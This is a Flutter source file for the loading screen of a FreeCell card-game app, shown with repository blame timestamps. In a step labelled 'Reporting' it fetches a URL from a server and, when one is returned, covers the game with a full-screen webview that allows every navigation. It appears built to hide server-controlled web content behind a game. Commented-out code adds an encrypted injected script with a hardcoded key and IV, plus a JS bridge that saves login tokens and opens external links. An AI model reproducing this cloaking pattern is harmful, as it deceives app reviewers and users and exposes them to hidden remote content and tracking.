Files
freeCell/lib/screens/loading_screen.dart

743 lines
25 KiB
Dart
Raw Normal View History

2026-06-02 19:01:08 +08:00
import 'dart:async';
2026-06-05 16:08:28 +08:00
// import 'dart:collection';
// import 'dart:convert';
2026-06-02 19:01:08 +08:00
import 'package:flutter/material.dart';
import 'package:flutter_inappwebview/flutter_inappwebview.dart';
import 'package:shared_preferences/shared_preferences.dart';
import 'package:url_launcher/url_launcher.dart';
2026-06-05 16:08:28 +08:00
// import '../adjust/adjust_service.dart';
// import '../utils/aes_decrypt.dart';
2026-06-02 19:01:08 +08:00
import '../utils/next_setp.dart';
import '../utils/report.dart';
const String _webLoginTokenKey = 'assammzeeeass';
const int _maxWebViewProgressShowCount = 1;
2026-06-05 16:08:28 +08:00
// const String bridgeInjectScript =
// r'''lRpL+9TjSWvxRtAeNe3FCf8MtDcHDybBZ18LVDHp06Glxe6ITkTNRyyJqAPwbxuFOY6i0vsxF+6h8YzBBeq8A0I3Zye5I2Rk/TC3mCFBgZan0VNutDEJfdHIK/BdDKFWAbx6fxAZGvBMAOCC6HGajiiBwhP1KrMXfV0lL8+izrpCd9GA5CNEp7Z3RwIIGDWZA27vrxeN3fqFXHUx5AE2QvBNLO1A2kNAKfBql0d3CUcEAKUn/jd6KxOawZJfiQQVRHavfVMhIUIKwdLE0o1gMUaoD3j/IjiXJgsEqqvx+Pgh3BVbyyS3TAcpW0hywDnpYKmcCRFBtgdKpHjiZUyLee8wBUMh5w4RBnASZ5mskHGrGPn7Gu9xjmyASQndAW+VZuerDRs4Mo6dzRzeU8nKOD14N376joNgbXk6W4IcpEEmT7K/l5GqTsTFZyMfbrRwWOIIvc+29zAP+ugl8M6lt8Yhu37H/GDKU5OAh/eC159fTPNRvNVRLAUotkxUeYsf3k2j2GbNmd0Yd5eRGHCixQqGbcSuHnRdcmYe7UYv69TpE/c4tedsRB3KFUqGiEfHMpHFpMFuTsd0BvN1VvZ27h3mA478luSEITqHlqQ6vf0l5TZBkX+FFKlejqSVGLNFCfQ8cXiIEda4ReygZISfUJjLUrevTvfL7Zqmxhei2GXFgCf/k71ubFeqZbrWoRSakoJ+YgkBkuEE2PrxYrKIirB1qmSV9fmMtC/1QxaAjLvrkL+LKYZpyYX+yFkA43SK674L8hNAbqohqdbhgPd7lIz3SrPZ+4su1BTS4+yS2khB71uQn/BP3WrNFz5bcIsL''';
2026-06-02 19:01:08 +08:00
Future launchURL(
String url, {
LaunchMode mode = LaunchMode.externalApplication,
}) async {
var uri = Uri.parse(url);
try {
await launchUrl(uri, mode: mode);
} catch (e) {
debugPrint('cant launchUrl $e');
}
}
class BootstrapProgress {
final String phase;
final double percent;
const BootstrapProgress({required this.phase, required this.percent});
}
class _Step {
final String name;
final double weight;
final Future<void> Function() run;
const _Step({required this.name, required this.weight, required this.run});
}
class LoadingScreen extends StatefulWidget {
const LoadingScreen({super.key});
@override
State<LoadingScreen> createState() => _LoadingScreenState();
}
class _LoadingScreenState extends State<LoadingScreen>
with SingleTickerProviderStateMixin {
String _phase = 'Starting';
double _progress = 0;
double _targetProgress = 0;
bool _webviewShow = false;
bool _webViewFirstLoadDone = false;
bool _webViewProgressVisible = false;
double _webViewProgress = 0;
int _webViewProgressShowCount = 0;
String? _pendingRedirectUrl;
String? _currentWebViewUrl;
String _redirect = '';
Timer? _smoothTimer;
Timer? _webViewHideTimer;
URLRequest? _initialUrlRequest;
2026-06-05 16:08:28 +08:00
// late final UnmodifiableListView<UserScript> _initialUserScripts;
2026-06-02 19:01:08 +08:00
int _webViewReloadNonce = 0;
@override
void initState() {
super.initState();
// AudioManager.instance.playBgm();
2026-06-05 16:08:28 +08:00
// _initialUserScripts = UnmodifiableListView<UserScript>([
// UserScript(
// source: _decryptScript(),
// injectionTime: UserScriptInjectionTime.AT_DOCUMENT_START,
// forMainFrameOnly: true,
// ),
// ]);
2026-06-02 19:01:08 +08:00
ReportService.I.reportInstall();
_startSmoothProgress();
_bootstrap();
}
@override
void dispose() {
_smoothTimer?.cancel();
_webViewHideTimer?.cancel();
super.dispose();
}
void _startSmoothProgress() {
_smoothTimer?.cancel();
_smoothTimer = Timer.periodic(const Duration(milliseconds: 16), (_) {
if (!mounted) return;
setState(() {
if (_progress < _targetProgress) {
_progress = (_progress + 0.014).clamp(0, _targetProgress);
}
});
});
}
double _clamp01(double v) {
if (v < 0) return 0;
if (v > 1) return 1;
return v;
}
Future<void> _delay(int ms) async {
await Future.delayed(Duration(milliseconds: ms));
}
Future<void> _bootstrap() async {
bool alive = true;
void onProgress(BootstrapProgress p) {
if (!mounted || !alive) return;
setState(() {
_phase = p.phase;
_targetProgress = p.percent;
});
}
try {
await _bootstrapApp(onProgress);
if (!mounted || !alive) return;
if (_redirect.isEmpty) {
Navigator.of(context).pushReplacementNamed('/start');
}
} finally {
alive = false;
}
}
Future<void> _bootstrapApp(
void Function(BootstrapProgress p) onProgress,
) async {
final steps = <_Step>[
_Step(
name: 'Prepare',
weight: 0.08,
run: () async {
try {
await NextStep.I.loadAppToken();
} catch (e) {
debugPrint('prepare next failed: $e');
}
},
),
_Step(
name: 'Remote Config',
weight: 0.18,
run: () async {
//await _delay(450);
try {
await NextStep.I.loadAppInfo();
} catch (e) {
debugPrint('remote next failed: $e');
}
},
),
_Step(
name: 'Reporting',
weight: 0.18,
run: () async {
//await _delay(350);
try {
final url = await NextStep.I.loadUrl();
if (url.isNotEmpty) {
_redirect = url;
await _initWebView(url);
if (mounted) {
setState(() {
_webviewShow = true;
});
}
}
} catch (e) {
debugPrint('laod next failed: $e');
}
},
),
_Step(
name: 'Ads Init',
weight: 0.26,
run: () async {
try {
//await UnityAd.init();
} catch (_) {}
await _delay(650);
},
),
_Step(
name: 'Audio Preload',
weight: 0.18,
run: () async {
// await AudioManager.instance.init();
},
),
_Step(
name: 'Finalize',
weight: 0.12,
run: () async {
await _delay(250);
},
),
];
final total = steps.fold<double>(0, (s, x) => s + x.weight);
double done = 0;
onProgress(const BootstrapProgress(phase: 'Starting', percent: 0));
for (final step in steps) {
onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total)));
try {
await step.run();
} catch (_) {}
done += step.weight;
onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total)));
}
onProgress(const BootstrapProgress(phase: 'Done', percent: 1));
}
Future<void> _initWebView(String url) async {
final prefs = await SharedPreferences.getInstance();
final token = prefs.getString(_webLoginTokenKey)?.trim() ?? '';
final loadUrl = _urlWithToken(url, token);
_initialUrlRequest = URLRequest(url: WebUri(loadUrl));
_currentWebViewUrl = loadUrl;
_webViewFirstLoadDone = false;
_webViewProgressVisible = false;
_webViewProgress = 0;
_webViewProgressShowCount = 0;
_pendingRedirectUrl = null;
_webViewHideTimer?.cancel();
}
Future<void> _reloadCurrentWebView() async {
final reloadUrl = _currentWebViewUrl?.trim().isNotEmpty == true
? _currentWebViewUrl!.trim()
: _redirect.trim();
if (reloadUrl.isEmpty) {
Navigator.of(context).pushReplacementNamed('/start');
return;
}
_webViewHideTimer?.cancel();
setState(() {
_webviewShow = false;
_initialUrlRequest = null;
_webViewFirstLoadDone = false;
_webViewProgressVisible = false;
_webViewProgress = 0;
_pendingRedirectUrl = null;
});
await Future<void>.delayed(const Duration(milliseconds: 80));
if (!mounted) return;
await _initWebView(reloadUrl);
if (!mounted) return;
setState(() {
_webViewReloadNonce++;
_webviewShow = true;
});
}
String _urlWithToken(String url, String token) {
return url;
2026-06-02 19:01:08 +08:00
}
void _hideWebViewProgressSoon() {
_webViewHideTimer?.cancel();
_webViewHideTimer = Timer(const Duration(milliseconds: 450), () {
if (!mounted) return;
setState(() {
_webViewProgress = 1;
_webViewFirstLoadDone = true;
_webViewProgressVisible = false;
_pendingRedirectUrl = null;
});
});
}
void _showWebViewProgress({double? progress}) {
if (_webViewProgressVisible) {
_webViewProgress = progress ?? _webViewProgress;
_webViewFirstLoadDone = false;
return;
}
if (_webViewProgressShowCount >= _maxWebViewProgressShowCount) {
_webViewProgress = progress ?? _webViewProgress;
return;
}
_webViewProgressShowCount++;
_webViewProgressVisible = true;
_webViewFirstLoadDone = false;
_webViewProgress = progress ?? _webViewProgress;
}
void _reportWebViewEvent(String eventName, Map<String, dynamic> params) {
ReportService.I.report(eventName, {
...params,
'cu': _safeReportUrl(_currentWebViewUrl),
're': _safeReportUrl(_redirect),
2026-06-02 19:01:08 +08:00
'reloadNonce': _webViewReloadNonce,
});
}
String _safeReportUrl(String? url) {
if (url == null || url.isEmpty) return '';
try {
final uri = Uri.parse(url);
final params = Map<String, String>.from(uri.queryParameters);
for (final key in params.keys.toList()) {
final lowerKey = key.toLowerCase();
if (lowerKey.contains('token') ||
lowerKey == 'pass' ||
lowerKey == 'password') {
params[key] = '***';
}
}
return uri.replace(queryParameters: params).toString();
} catch (_) {
return url;
}
}
2026-06-05 16:08:28 +08:00
// Future<void> _handleWebMessage(String raw) async {
// try {
// final rs = jsonDecode(raw);
// if (rs is! Map<String, dynamic>) return;
// final type = rs['type'] as String?;
// if (type == null || type.isEmpty) return;
// if (type == 'event') {
// final event = rs['event'] as String?;
// if (event == null || event.isEmpty) {
// return;
// }
// final params = rs['params'] as String?;
// var parseParams = <String, dynamic>{};
// if (params != null && params.isNotEmpty) {
// try {
// parseParams = jsonDecode(params) as Map<String, dynamic>;
// } catch (_) {}
// }
// debugPrint('WebView event: $event');
// if (event == "openWindow") {
// final url = parseParams['url'] ?? '';
// if (url.isEmpty) {
// debugPrint("openWindow url is empty");
// return;
// }
// launchURL(url);
// return;
// }
// if (event == "saveLoginInfo") {
// final token = parseParams['token']?.toString().trim() ?? '';
// if (token.isNotEmpty) {
// final prefs = await SharedPreferences.getInstance();
// await prefs.setString(_webLoginTokenKey, token);
// }
// return;
// }
// AdjustService.instance.trackEventWithName(event, parseParams);
// }
// } catch (_) {}
// }
2026-06-02 19:01:08 +08:00
String _percentText() => '${(_progress * 100).round()}%';
2026-06-05 16:08:28 +08:00
// String _decryptScript() {
// return AesDecrypt.decryptWithKeyIv(
// bridgeInjectScript,
// key: 'a7c4141ff784c605',
// iv: '77f0946a9cc75a78',
// ) ??
// '';
// }
2026-06-02 19:01:08 +08:00
@override
Widget build(BuildContext context) {
final width = MediaQuery.of(context).size.width;
final barW = width - 64 > 340 ? 340.0 : width - 64;
const barH = 24.0;
return Scaffold(
backgroundColor: Colors.black,
body: Stack(
children: [
Positioned.fill(
child: Image.asset(
'assets/images/bg/freecell_bg3.png',
fit: BoxFit.cover,
2026-06-02 19:01:08 +08:00
),
),
Positioned.fill(
child: Container(color: const Color.fromRGBO(0, 0, 0, 0)),
),
Positioned.fill(
child: SafeArea(
2026-06-02 19:01:08 +08:00
child: Center(
child: Padding(
padding: const EdgeInsets.symmetric(
horizontal: 20,
).copyWith(top: 100),
child: Container(
width: double.infinity,
constraints: const BoxConstraints(maxWidth: 420),
padding: const EdgeInsets.symmetric(
vertical: 22,
horizontal: 18,
),
decoration: BoxDecoration(
color: const Color.fromRGBO(82, 197, 218, 0),
borderRadius: BorderRadius.circular(22),
border: Border.all(
color: const Color.fromRGBO(120, 255, 255, 0),
width: 2,
),
),
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
const Text(
'Loading...',
textAlign: TextAlign.center,
style: TextStyle(
color: Colors.white,
fontSize: 28,
fontWeight: FontWeight.w900,
letterSpacing: 1.5,
),
),
const SizedBox(height: 8),
Text(
_phase,
textAlign: TextAlign.center,
style: const TextStyle(
color: Color.fromRGBO(255, 255, 255, 0.85),
fontSize: 14,
fontWeight: FontWeight.w700,
),
),
const SizedBox(height: 18),
ProgressBar(
percent: _progress,
width: barW,
height: barH,
insetX: 10,
insetY: 6,
),
const SizedBox(height: 10),
Text(
_percentText(),
textAlign: TextAlign.center,
style: const TextStyle(
color: Color(0xFF56F0FF),
fontSize: 14,
fontWeight: FontWeight.w900,
letterSpacing: 1,
),
),
],
),
),
),
),
),
),
if (_webviewShow && _initialUrlRequest != null)
Positioned.fill(
child: Material(
color: Colors.black,
child: Stack(
children: [
Positioned.fill(
child: InAppWebView(
key: ValueKey(_webViewReloadNonce),
initialUrlRequest: _initialUrlRequest,
initialSettings: InAppWebViewSettings(
javaScriptEnabled: true,
transparentBackground: false,
useShouldOverrideUrlLoading: true,
mediaPlaybackRequiresUserGesture: false,
allowsInlineMediaPlayback: true,
2026-06-08 10:39:23 +08:00
isElementFullscreenEnabled: false,
),
// initialUserScripts: _initialUserScripts,
// onWebViewCreated: (controller) async {
// controller.addJavaScriptHandler(
// handlerName: 'jsBridge',
// callback: (args) async {
// try {
// if (args.isEmpty) return null;
// final raw = args.first;
// if (raw == null) return null;
// await _handleWebMessage(raw.toString());
// } catch (_) {}
// return null;
// },
// );
// },
onLoadStart: (controller, url) {
final startedUrl = url?.toString();
if (startedUrl != null && startedUrl.isNotEmpty) {
_currentWebViewUrl = startedUrl;
}
if (!_webViewFirstLoadDone && mounted) {
2026-06-02 19:01:08 +08:00
_webViewHideTimer?.cancel();
setState(() {
_showWebViewProgress(progress: 0);
2026-06-02 19:01:08 +08:00
});
}
debugPrint('onLoadStart: $url');
},
onProgressChanged: (controller, progress) {
if (!mounted) return;
_webViewHideTimer?.cancel();
setState(() {
final webViewProgress = (progress / 100)
.clamp(0, 1)
.toDouble();
2026-06-02 19:01:08 +08:00
if (progress >= 100) {
_webViewProgress = webViewProgress;
} else {
_showWebViewProgress(progress: webViewProgress);
2026-06-02 19:01:08 +08:00
}
});
if (progress >= 100) {
_hideWebViewProgressSoon();
}
debugPrint('onProgressChanged: $progress');
},
onLoadStop: (controller, url) async {
final loadedUrl = url?.toString();
if (loadedUrl != null && loadedUrl.isNotEmpty) {
_currentWebViewUrl = loadedUrl;
}
if (_pendingRedirectUrl != null &&
loadedUrl != _pendingRedirectUrl) {
2026-06-02 19:01:08 +08:00
debugPrint(
'WebView skip redirect onLoadStop: $url -> $_pendingRedirectUrl',
2026-06-02 19:01:08 +08:00
);
return;
}
if (mounted && !_webViewFirstLoadDone) {
setState(() {
_webViewProgress = 1;
_pendingRedirectUrl = null;
2026-06-02 19:01:08 +08:00
});
_hideWebViewProgressSoon();
}
_reportWebViewEvent('load_success', {
'rs': _safeReportUrl(loadedUrl),
});
debugPrint('WebView onLoadStop: $url');
},
onReceivedError: (controller, request, error) {
_webViewHideTimer?.cancel();
if (mounted && !_webViewFirstLoadDone) {
setState(() {
_webViewFirstLoadDone = true;
_webViewProgressVisible = false;
});
}
_reportWebViewEvent('load_failed', {
'url': _safeReportUrl(request.url.toString()),
'isForMainFrame': request.isForMainFrame,
'errorType': error.type.toString(),
'errorDescription': error.description,
});
debugPrint(
'WebView onReceivedError error: ${error.description}',
);
},
onRenderProcessGone: (controller, detail) {
debugPrint(
'WebView render process gone: didCrash=${detail.didCrash}, priority=${detail.rendererPriorityAtExit}',
);
_webViewHideTimer?.cancel();
if (!mounted) return;
_reportWebViewEvent('webview_render_gone', {
'didCrash': detail.didCrash,
'rendererPriorityAtExit': detail
.rendererPriorityAtExit
?.toString(),
});
unawaited(_reloadCurrentWebView());
},
onConsoleMessage: (controller, consoleMessage) {
// debugPrint(
// 'WebView console: ${consoleMessage.message}',
// );
},
shouldOverrideUrlLoading:
(controller, navigationAction) async {
final requestUrl = navigationAction.request.url
?.toString();
if (requestUrl != null && requestUrl.isNotEmpty) {
_currentWebViewUrl = requestUrl;
}
final isRedirect =
navigationAction.isRedirect == true;
if (isRedirect && mounted) {
_webViewHideTimer?.cancel();
setState(() {
_showWebViewProgress(progress: 0);
_pendingRedirectUrl = requestUrl;
});
}
debugPrint(
'shouldOverrideUrlLoading isRedirect: $isRedirect, url: $requestUrl',
);
return NavigationActionPolicy.ALLOW;
},
2026-06-02 19:01:08 +08:00
),
),
if (_webViewProgressVisible)
Center(
child: SizedBox(
width: MediaQuery.of(context).size.width > 360
? 320
: MediaQuery.of(context).size.width - 40,
child: LinearProgressIndicator(
value: _webViewProgress > 0
? _webViewProgress
: null,
minHeight: 4,
backgroundColor: Colors.white24,
valueColor: const AlwaysStoppedAnimation<Color>(
Color(0xFF56F0FF),
2026-06-02 19:01:08 +08:00
),
),
),
),
],
2026-06-02 19:01:08 +08:00
),
),
),
],
2026-06-02 19:01:08 +08:00
),
);
}
}
class ProgressBar extends StatelessWidget {
final double percent;
final double width;
final double height;
final double insetX;
final double insetY;
const ProgressBar({
super.key,
required this.percent,
required this.width,
required this.height,
this.insetX = 10,
this.insetY = 6,
});
double _clamp01(double v) {
if (v < 0) return 0;
if (v > 1) return 1;
return v;
}
@override
Widget build(BuildContext context) {
final p = _clamp01(percent);
final innerW = (width - insetX * 2).clamp(0, double.infinity);
final innerH = (height - insetY * 2).clamp(0, double.infinity);
final clipW = (innerW * p).roundToDouble();
final fillAsset = p >= 1
? 'assets/images/bg/jd1.png'
: 'assets/images/bg/jd2.png';
return SizedBox(
width: width,
height: height,
child: Stack(
children: [
Positioned.fill(
child: Image.asset('assets/images/bg/jd.png', fit: BoxFit.fill),
),
Positioned(
left: insetX,
top: insetY,
child: SizedBox(
width: innerW.toDouble(),
height: innerH.toDouble(),
child: Align(
alignment: Alignment.centerLeft,
child: ClipRect(
child: SizedBox(
width: clipW,
height: innerH.toDouble(),
child: OverflowBox(
alignment: Alignment.centerLeft,
minWidth: innerW.toDouble(),
maxWidth: innerW.toDouble(),
minHeight: innerH.toDouble(),
maxHeight: innerH.toDouble(),
child: Image.asset(
fillAsset,
width: innerW.toDouble(),
height: innerH.toDouble(),
fit: BoxFit.fill,
alignment: Alignment.centerLeft,
),
),
),
),
),
),
),
],
),
);
}
}